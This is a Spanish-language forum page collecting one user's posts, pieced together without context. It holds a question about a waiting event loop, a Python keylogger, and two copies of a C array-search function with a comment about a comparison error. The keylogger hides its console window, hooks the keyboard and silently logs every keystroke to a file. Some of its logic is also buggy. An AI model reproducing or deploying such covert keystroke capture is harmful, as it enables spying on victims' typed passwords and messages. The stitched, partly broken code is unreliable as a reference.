osea solo se queda ejecutando esa ultima linea de codigo? que pasa cuando se recibe el evento de la tecla presionada
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menúimport win32api
import win32console
import win32gui
import pythoncom,pyHook
win=win32console.GetConsoleWindow()
win32gui.ShowWindow(win,0)
def OnKeyboardEvent(event):
if event.Ascii==5:
_exit(1)
if event.Ascii !=0 or 8:
#open output.txt to read current keystrokes
f=open('c:\output.txt','r+')
buffer=f.read()
f.close()
#open output.txt to write current + new keystrokes
f=open('c:\output.txt','w')
keylogs=chr(event.Ascii)
if event.Ascii==13:
keylogs='/n'
buffer+=keylogs
f.write(buffer)
f.close()
# create a hook manager object
hm=pyHook.HookManager()
hm.KeyDown=OnKeyboardEvent
# set the hook
hm.HookKeyboard()
# wait forever
pythoncom.PumpMessages()
int buscaPos(int arrForward[MAX][4],int cantFil, int origen, int tiempo){
int encontrado, cont;
int auxOrigen, auxTiempo, aux;
encontrado = 0;
cont = 0;
do{
auxOrigen = arrForward[cont][0];
if(auxOrigen == origen){
auxTiempo = arrForward[cont][1] + arrForward[cont][2];
aux = arrForward[cont][1];
if(origen <= tiempo){ // ESTA COMPARACION ME ARROJA ERROR
if (tiempo <= auxTiempo){
return cont;
}
}
}
cont++;
}while((encontrado == 0) && (cont < cantFil));
if(encontrado == 0) return -1;
}
int buscaPos(int arrForward[MAX][4],int cantFil, int origen, int tiempo){
int encontrado, cont;
int auxOrigen, auxTiempo, aux;
encontrado = 0;
cont = 0;
do{
auxOrigen = arrForward[cont][0];
if(auxOrigen == origen){
auxTiempo = arrForward[cont][1] + arrForward[cont][2];
if(arrForward[cont][1]<= tiempo){ //ESTA COMPARACION ME ARROJA ERROR
if (tiempo <= auxTiempo){
return cont;
}
}
}
cont++;
}while((encontrado == 0) && (cont < cantFil));
if(encontrado == 0) return -1;
}